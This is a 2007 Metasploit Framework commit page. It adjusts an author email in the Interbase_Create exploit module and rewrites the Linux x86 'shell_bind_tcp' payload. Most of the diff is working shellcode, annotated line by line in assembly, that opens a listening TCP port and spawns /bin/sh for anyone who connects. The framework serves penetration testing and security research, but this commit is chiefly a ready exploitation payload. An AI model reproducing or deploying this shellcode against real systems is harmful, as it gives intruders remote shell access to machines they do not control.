1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Fixes #106. Added new single shell_bind_tcp payload module for Linux x86. See #106.

git-svn-id: file:///home/svn/framework3/trunk@5068 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Ramon de C Valle 2007-07-31 02:10:49 +00:00
parent bff51b5578
commit 6462ede937
2 changed files with 45 additions and 9 deletions

View File

@ -29,7 +29,7 @@ class Exploits::Linux::Misc::Interbase_Create < Msf::Exploit::Remote
'Author' =>
[
'Ramon de Carvalho Valle <ramon@risesecurity.org>',
'Adriano Lima <adriano@risesecurity.org',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'linux',

View File

@ -30,7 +30,7 @@ module ShellBindTcp
'Name' => 'Linux Command Shell, Bind TCP Inline',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => [ 'skape', 'vlad902' ],
'Author' => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
@ -40,15 +40,51 @@ module ShellBindTcp
{
'Offsets' =>
{
'LPORT' => [ 0x14, 'n' ],
'LPORT' => [ 21, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" +
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
"\x89\xe1\xcd\x80"
"\x31\xdb" +# xorl %ebx,%ebx #
"\xf7\xe3" +# mull %ebx #
"\x53" +# pushl %ebx #
"\x43" +# incl %ebx #
"\x53" +# pushl %ebx #
"\x6a\x02" +# pushl $0x02 #
"\x89\xe1" +# movl %esp,%ecx #
"\xb0\x66" +# movb $0x66,%al #
"\xcd\x80" +# int $0x80 #
"\x5b" +# popl %ebx #
"\x5e" +# popl %esi #
"\x52" +# pushl %edx #
"\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff #
"\x6a\x10" +# pushl $0x10 #
"\x51" +# pushl %ecx #
"\x50" +# pushl %eax #
"\x89\xe1" +# movl %esp,%ecx #
"\x6a\x66" +# pushl $0x66 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
"\x89\x41\x04" +# movl %eax,0x04(%ecx) #
"\xb3\x04" +# movb $0x04,%bl #
"\xb0\x66" +# movb $0x66,%al #
"\xcd\x80" +# int $0x80 #
"\x43" +# incl %ebx #
"\xb0\x66" +# movb $0x66,%al #
"\xcd\x80" +# int $0x80 #
"\x93" +# xchgl %eax,%ebx #
"\x59" +# popl %ecx #
"\x6a\x3f" +# pushl $0x3f #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
"\x49" +# decl %ecx #
"\x79\xf8" +# jns <bndsockcode+50> #
"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
"\x89\xe3" +# movl %esp,%ebx #
"\x50" +# pushl %eax #
"\x53" +# pushl %ebx #
"\x89\xe1" +# movl %esp,%ecx #
"\xb0\x0b" +# movb $0x0b,%al #
"\xcd\x80" # int $0x80 #
}
))
end